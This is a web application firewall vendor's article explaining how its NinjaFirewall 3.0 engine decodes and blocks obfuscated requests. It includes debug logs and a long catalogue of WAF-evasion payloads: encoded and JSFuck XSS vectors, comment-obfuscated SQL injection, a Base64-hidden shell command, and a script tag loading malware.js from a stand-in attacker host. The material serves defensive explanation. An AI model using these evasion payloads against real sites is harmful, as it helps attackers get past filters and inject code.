Revision: July 18, 2021
Starting from version 3.0, NinjaFirewall, our Web Application Firewall for PHP (Pro and Pro+ Edition) and WordPress (WP and WP+ Edition), includes a new powerful filtering engine, codename Sensei. Its most important feature is its ability to normalize and transform data from incoming HTTP requests. Because hackers use evasion techniques to bypass Web Application Firewalls (multiple encoding, obfuscated string etc), NinjaFirewall must be able to detect and decode them. In addition, the Sensei engine includes many new features that this article will cover.
But before going any further, let’s take two concrete examples of such evasion tactics that your website is likely to see:
Example #1: Cross-site scripting
We will assume that a PHP script is vulnerable to cross-site scripting. We will take a basic XSS hacking attempt and we will heavily modify it using various encoding and obfuscation techniques in order to evade the firewall detection:
<svg onload="javascript:alert('Hello World');">
We mix UPPERCASE and lowercase characters, replace whitespace characters with a slash (/
) and an HTML entity (
), and we encode the Hello World string with hexadecimal (\xNN
) and unicode (\uNNNN
) characters:
<sVg/OnlOad="javascript:alert('\x48\x65\x6c\x6c\x6f \u0057\u006f\u0072\u006c\u0064');">
We replace the javascript
keyword with decimal and hexadecimalnumerical character references. To make it even more difficult to detect, we remove the trailing semicolon from some of these character references (e.g., a
will become a
) and pad others with many zeros (e.g., p
will become p
):
<sVg/OnlOad="javascript:alert('\x48\x65\x6c\x6c\x6f \u0057\u006f\u0072\u006c\u0064');">
Note: All modern browsers will accept numerical character references without trailing semicolons because, except in a few cases, there aren’t mandatory. Also, padding these characters with a huge number of leading zeros is a correct syntax too (see more examples below).
We add some HTML5 entities (tabs and new lines), some fake comments (/**/
) and split the encoded ‘Hello World’ substring into several parts:
<sVg/OnlOad="	
	javascript:/* */ alert('\x48\x65' + '\x6c\x6c\x6f '+ /* */ '\u0057\u006f'+'\u0072\u006c\u0064');">
Lastly, we split the whole string into eight lines:
<sVg/OnlOad = "	
	javascript: /* */ alert('\x48\x65' + '\x6c\x6c\x6f '+ /* */ '\u0057\u006f'+ '\u0072\u006c\u0064');" >
If you copy and paste the above lines into an HTML page and load it into Firefox, Chrome, Safari or IE (v9+) browser, you will see that it has a perfectly valid syntax: it will display a ‘Hello World’ JavaScript alert.
We URL-encode it twice and send it as a GET[‘foo’] request to the site protected by NinjaFirewall v3.0:
http://domain.tld/index.php?foo=%253CsVg%252f%254f%256e%256c%254f%2561%2564%250A%253D%2520%2520%250A%2522%2526Tab%253B%2526NewLine%253B%2526Tab%253B%2526%2523106%253B%2526%2523000000000097%2526%2523118%253B%2526%252397scr%2526%2523x69%2526%2523x00000000070%253B%2526%2523x74%253A%250A%252f%252a%2520%252a%252f%2520alert%2528%2527%255Cx48%255Cx65%2527%250A%252b%2520%2527%255Cx6c%255Cx6c%255Cx6f%2520%2527%252b%2520%252f%252a%2520%2520%252a%252f%250A%2527%255Cu0057%255Cu006f%2527%252b%2520%2520%250A%2527%255Cu0072%255Cu006c%255Cu0064%2527%2529%253B%2522%2520%2520%250A%253E
NinjaFirewall will detect and block the XSS attempt, and it will write to its log:
GET /index.php - XSS (JS function)
Let’s see how the firewall engine was able to detect and decode the heavily obfuscated input:
[0.41038200] Starting NinjaFirewall v3.0 debugging session for 172.16.0.1 (debug level: 5)
[0.41083300] Parsing request
[0.41159600] Retrieving rule #1
[0.41162100] Looping through GET array
[0.41163500] Subrule #1:1, checking GET['foo']: %253CsVg%252f%254f%256e%256c%254f%2561%2564%250A%253D%2520%2520%250A%2522%2526Tab%253B%2526NewLine%253B%2526Tab%253B%2526%2523106%253B%2526%2523000000000097%2526%2523118%253B%2526%252397scr%2526%2523x69%2526%2523x00000000070%253B%2526%2523x74%253A%250A%252f%252a%2520%252a%252f%2520alert%2528%2527%255Cx48%255Cx65%2527%250A%252b%2520%2527%255Cx6c%255Cx6c%255Cx6f%2520%2527%252b%2520%252f%252a%2520%2520%252a%252f%250A%2527%255Cu0057%255Cu006f%2527%252b%2520%2520%250A%2527%255Cu0072%255Cu006c%255Cu0064%2527%2529%253B%2522%2520%2520%250A%253E
[0.41166100] Normalize: URL decoding: <sVg/OnlOad\n= \n"	
	javascript:\n/* */ alert('\x48\x65'\n+ '\x6c\x6c\x6f '+ /* */\n'\u0057\u006f'+ \n'\u0072\u006c\u0064');" \n>
[0.41169400] Normalize: fixing HTML entities missing semicolon (x4): <sVg/OnlOad\n= \n"	
	javascript:\n/* */ alert('\x48\x65'\n+ '\x6c\x6c\x6f '+ /* */\n'\u0057\u006f'+ \n'\u0072\u006c\u0064');" \n>
[0.41172000] Normalize: converting hex characters to ASCII (x5): <sVg/OnlOad\n= \n"	
	javascript:\n/* */ alert('He'\n+ 'llo '+ /* */\n'\u0057\u006f'+ \n'\u0072\u006c\u0064');" \n>
[0.41176100] Normalize: HTML entities decoding: <sVg/OnlOad\n= \n"javascript:\n/* */ alert('He'\n+ 'llo '+ /* */\n'\u0057\u006f'+ \n'\u0072\u006c\u0064');" \n>
[0.41181100] Normalize: unicode decoding (x5): <sVg/OnlOad\n= \n"javascript:\n/* */ alert('He'\n+ 'llo '+ /* */\n'Wo'+ \n'rld');" \n>
[0.41184000] Compress: compressing blocks of whitespace character: <sVg/OnlOad= "javascript:/* */ alert('He'+ 'llo '+ /* */'Wo'+ 'rld');" >
...
...
[0.41656300] Normalize: already done, using cached copy: <sVg/OnlOad= "javascript:/* */ alert('He'+ 'llo '+ /* */'Wo'+ 'rld');" >
[0.41662700] Transform::JS: deobfuscating string: <sVg/OnlOad= "javascript: alert('He'+ 'llo '+ 'Wo'+ 'rld');" >
[0.41664600] Transform::JS: cleaning-up string: <sVg/OnlOad= "javascript: alert('Hello World');" >
[0.41666800] Matching: checking value against current rule using [rx] operator
[0.41667900] !!! Matching: subrule matches, stopping here: XSS (JS function)
[0.41668600] Terminating and sending 403 Forbidden.
NinjaFirewall handled it in two distinct actions:
1) Normalize: it decoded the URL, detected and fixed the missing HTML entities semicolon, decoded the hexadecimal characters , converted all HTML entities to their applicable characters and decoded the unicode characters left.
2) Transform: it deobfuscated the string by removing the fake comments (/**/
) but also detected the string concatenation evasion attempt and was able to recreate the original string: <sVg/OnlOad= "javascript: alert('Hello World');" >
.
Example #2: BASE64-encoded injection
We will assume that a hacker wants to inject a Base64 encoded shell command through a vulnerability in a PHP script:
echo 'hello world' > /tmp/hack.txt
This Unix shell command will write ‘hello world’ to the /tmp/hack.txt
file.
Let’s base64-encode it:
ZWNobyAnaGVsbG8gd29ybGQnID4gL3RtcC9oYWNrLnR4dA==
We insert unwanted dot (.
) and comma (,
) characters and remove the Base64 right padding (==
) to attempt to bypass web application firewalls detection:
ZWN.oby,Ana.GVs.bG8.gd2,9yb.GQn.ID.4g,L3Rt.cC9o.YWN,rLn.R4d.A
Note: Inserting bogus characters into a Base64-encoded string is often used to bypass WAFs because that does not affect PHP, which will remove them while decoding the string. See the PHP php_base64_decode_ex source code for more info about that.
We split it into four parts, assign each one to a foo[]
array and we send it as a POST payload:
POST /index.php HTTP/1.1 Host: www.victim.tld User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 88 foo[]=ZWN.oby,Ana.G&foo[]=Vs.bG8.gd2,9yb.G&foo[]=Qn.ID.4g,L3Rt.cC&foo[]=9o.YWN,rLn.R4d.A
NinjaFirewall will detect and block the Base64 injection, and will write to its log:
POST /index.php - BASE64-encoded injection
Here again, let’s see how the firewall engine handled it:
[0.47973300] Starting NinjaFirewall v3.0 debugging session for 172.16.0.1 (debug level: 5)
[0.48021800] Parsing request
[0.48083800] Retrieving rule #1
[0.48085800] Looping through POST array
[0.48087500] Subrule #1:1, checking POST['foo']
[0.48095900] Flattening array
[0.48097000] Checking for Base64-encoded injection
[0.48099000] !!! Base64-encoded injection detected: echo 'hello world' > /tmp/hack.txt
[0.48130000] Terminating and sending 403 Forbidden.
NinjaFirewall detected the array, ‘flattened’ it and was able to decode it perfectly: echo 'hello world' > /tmp/hack.txt
.
Then, it blocked the request and sent a 403 Forbidden message.
Filtering Engine and Rules
NinjaFirewall v3.0 has two main components: the filtering engine, Sensei, and its rules. The rules are not hardcoded but kept separately. They can be updated easily. Rules can have subrules and each one has its own set of instructions that will be passed on to the firewall engine. For that reason, the Sensei engine was written to be very flexible in order to execute and apply any rule/subrule instructions, whatever they are.
Among those instructions are the following actions:
- Normalize: it is used to decode the HTTP data. Because a decoding function is a mandatory feature for any firewall, the Sensei engine supports a large set of encodings (see Encoding and Obfuscation list below).
- Transform: it is used to detect obfuscated code and evasion techniques, to attempt to clean them up and to transform them back to the original code. For instance,
alert("e" + "va" + 'd' + "e")
will be turned intoalert("evade")
.
Transformation will differ depending on the rule that requested it: a rule checking for SQL injection will require a different transformation than a rule dealing with cross-site scripting. - Compress: it is used to replace or remove whitespace characters in a string. Note that “whitespace characters” does not only refer to the
U+0020
character, but also to the following ones:U+0009
,U+000A
,U+000B
,U+000C
,U+000D
and evenU+00A0
(no-break space). Here too, this action will differ depending on the rule that requested it. For instance, multiple consecutive line feed characters could either be replaced with only oneU+0020
character, or completely removed from a string. - Chain: rules can have subrules. If the first rule matches, then the next one in the chain will be checked. This is a very useful feature. For instance, if we want to know whether the
$_GET['foo']
variable contains “Hello World” and the$_COOKIE['bar']
value is “1234”, or the$_SERVER['SCRIPT_NAME']
matches “/foo/bar/”, we can first check$_GET['foo']
and immediately stop if it does not match. But if it matches, we can proceed with the next rule in the chain that too will send its own instructions to the firewall engine. - Capture: a rule can capture a suspicious request and pass it on to the next rule in the chain. Its main purpose is to isolate a threat and to let the subsequent rule work only on that part rather than having to parse all environment variables and user input (e.g., GET, POST, SERVER, COOKIE etc).
- Execute: each rule can ask the firewall engine to execute one or more functions, either a PHP or NinjaFirewall one. Input can be any data from an incoming HTTP request. Actions such a normalize and transform will be performed on the value returned by that function.
For better performance, all the above actions are cached so that if two or more rules required the same action, it would be executed once only and data would be served from that cache to any subsequent rule.
Comparison operators
Prior to version 3.0, NinjaFirewall rules were only using regex (aka regular expression) for string matching. Regex are great and very powerful. However, several rules didn’t really need them and could use much simpler and faster comparison operators or functions. Therefore, the new Sensei engine supports the following ones:
- Equal: checks if two strings are identical (
Hello World
is equal toHello World
). - Not equal: checks if two strings are not identical (
Hello World
is not equal tofoo bar
). - strpos: checks if a string contains a substring (
Hello World
containsHello
). - stripos: checks if a string contains a case-insensitive substring (
Hello World
containsheLLO
). - rx: checks if the regular expression matches (
/He.*?o\s+/
matchesHello World
) - !rx: checks if the regular expression does not match (
/fo.*?obar\s+/i
does not matchHello World
) - Match-zero-or-more: checks if a variable is set, regardless of its value.
Each rule and subrule can use any of these operators.
Raw POST data filtering
This is also a new feature in NinjaFirewall 3.0: the ability to retrieve and filter the whole raw POST data. It can be particularly useful when dealing, for instance, with XML-RPC data.
Encoding and Obfuscation
NinjaFirewall 3.0 supports and detects the following encodings, obfuscation tactics and WAF evasion techniques (non-exhaustive list):
Note: none of the cross-site scripting (XSS) examples below were tested with Internet Explorer browser but should probably work with v10+ or so.
URL Hex encoding:
%3Csvg%20onload%3D%22javascript%3Aalert%28%27XSS%27%29%3B%22%3E
Double Hex encoding:
%253Csvg%2520onload%253D%2522javascript%253Aalert%2528%2527XSS%2527%2529%253B%2522%253E
Double Nibble encoding:
%%33%43svg%%32%30onload%%33%44%%32%32javascript%%33%41alert%%32%38%%32%37XSS%%32%37%%32%39%%33%42%%32%32%%33%45
First Nibble encoding:
%%33Csvg%%320onload%%33D%%322javascript%%33Aalert%%328%%327XSS%%327%%329%%33B%%322%%33E
Second Nibble encoding:
%3%43svg%2%30onload%3%44%2%32javascript%3%41alert%2%38%2%37XSS%2%37%2%39%3%42%2%32%3%45
\u
unicode encoding (XSS):
<svg onload="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:alert('XSS');">
%u
unicode encoding (SQL injection):
SELECT %u0074able_%u006eame FROM information_schema.tables;
UTF-7 encoding (XSS):
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Hexadecimal characters:
<svg onload="javascript:alert('\x58\x53\x53');">
Decimal numerical character references:
<svg onload="javascript:alert('XSS');">
Same as above, but without trailing semicolon (;
):
<svg onload="javascript:alert('XSS');">
Same as above, but padded with zeros on the left (random length):
<svg onload="javascript:alert('XSS');">
Note: padding length can be quite huge. I tested with over one million zeros and it worked perfectly with Firefox-ESR 45.4, Chromium 53 and Opera 41.
Hexadecimal numerical character references:
<svg onload="javascript:alert('XSS');">
Same as above but without trailing semicolons:
<svg onload="javascript:alert('XSS');">
Hexadecimal numerical character references without trailing semicolons and JavaScript keywords joined together:
<svg onload="ڪvascript:alert('XSS');">
Same as above but padded with zeros on the left (random length):
<svg onload="ڪvaܼript:alert('XSS');">
Obsfucation with embedded tab and new line:
<a href="java script:ale rt('XSS');">Click here</a>
Obsfucation with embedded 	
and 

HTML5 entities:
<a href="java	script:ale
rt('XSS');">Click here</a>
Whitespace characters inserted before the ‘javascript’ keyword:
<svg onload=" 
  javascript:alert('XSS');">
Whitespace characters replaced with slashes (XSS):
<svg/onload="javascript:alert('XSS');">
Whitespace characters replaced with parenthesis (SQL injection):
(((select((((option_name))))from(((wp_options))))));
Whitespace characters replaced with quote, plus and backtick characters (SQL injection):
select+++++++++++option_name''''''''from`wp_options`;
Obfuscation with SQL comments:
select/* foo */option_name/**/from/* bar */wp_options;
Obfuscation with MySQL conditional comments:
select/*!option_name*//*!00000from*//*!wp_options*/;
Obfuscation with multiple SQL /* opening comments and one single */ closing comment:
select/* foo /* bar /* */ option_name from wp_options;
Same as above, but using MySQL conditional comments:
/*!00000select/*!option_name/*!00000from/*!wp_options*/;
Same as above, but including nested comments:
/*!00000select/*!option_name/*!00000from /* foo bar */ */ /*!wp_options*/;
Note: unlike Postgres, MySQL regular comments can’t be nested. Conditional comments can be nested though. See MySQL sql_lex.cc source code for more info about that.
Also, obfuscating a MySQL/Postgres function name or keyword with comments, e.g.,S/**/E/**/L/**/E/**/C/**/T 1;
, is not a valid syntax (even if many websites claim that it is!).
MySQL command obfuscation using in-line and multiple-line comments:
select-- /* foobar /* foobar */option_name/* foo bar */from/**/wp_options# foobar ;
SQL string concatenation evasion:
1' and 'e'+"va"+'de' = 'ev' + 'ade' --
Javascript string concatenation evasion:
alert('e' + 'v' +'ad' + "e");
HTML tag name obfuscation with slashes + random characters:
<svg/foobar onload="javascript:alert('XSS');">
HTML tag pollution:
<svg </onload="1> (_=alert,_('XSS'))" '_ </foobar>">
HTML event pollution:
<svg onload='+/this/+/is/+/all/+/rubbish/+/!/+alert("XSS")'>
JavaScript/JSFuck obfuscation:
<svg onload="javascript:alert([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+(!+[]+!+[]+!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])+[])+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]);">
JavaScript filter/constructor:
<svg onload="[]['filter']['constructor'](alert('XSS'))();">
Same as above but with strings concatenation using quotes, whitespaces, and backticks:
<svg onload="[ ][ `filt`+ 'er'][`co`+ 'n' + `structor` ]( alert('X' + 'SS' ) )();">
Javascript obfuscation with atob()
and base64-encoded alert()
:
<svg onload="window['eval'](window['atob']('YWxlcnQoJ1hTUycp'))">
Same as above, with strings concatenation using quotes, whitespaces, backticks and bogus comments:
<svg onload="window/* */ [ 'e'+'v'+'a'+ /* */ 'l' ] ( window [ 'a'+'tob' ] (`YW`+ `xlcnQoJ`+ `1hTUycp`))">
Protocol resolution:
<script src="//hackersville.org/malware.js"></script>
Unix path obfuscation using self referencing directories (/././
), reverse traversal (/../
), multiple slashes (/////
) and single/double quotes ('"
):
